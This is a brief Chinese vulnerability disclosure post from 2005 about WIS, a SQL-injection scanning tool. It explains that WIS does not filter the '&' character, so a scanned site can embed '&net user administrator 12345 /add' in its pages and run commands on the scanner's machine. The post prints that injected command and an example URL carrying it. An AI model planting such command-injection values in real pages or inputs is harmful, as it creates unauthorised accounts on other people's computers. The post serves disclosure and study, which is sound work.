博客介绍了WIS这一SQL漏洞扫描工具，它由小榕开发。该工具对&字符未严格过滤，导致可人为创建含&字符的语句。在扫描网站时，可在被扫描的asp代码中嵌入指令，如&net user administrator 12345 /add，从而执行任意代码。
Term : FreeXploiT
Author : ALLyeSNO
Date : 2005-2-2
WIS是小榕开发的SQL漏洞扫描工具
WIS对&字符未做严格过滤 导致可以 人为的创建含&字符的语句 在扫描者机子上执行任意代码
&net user allyesno 12345 /add
不是wis&net user allyesno 12345 /add
而是 使用 wis对 某一个网站进行扫描的时候
我们可以利用wis未过滤& 在被扫描的网站代码 例如asp代码中嵌入&net user administrator 12345 /add
当wis对它进行扫描的时候 结果如下
http://www.target.com/sqlbug?=sql&net user administrator 12345 /add
本地执行wis &net user allyesno 12345 /add 是肯定可以的 因为&是把两段指令连在一起执行
扫一扫
822
到【灌水乐园】发言
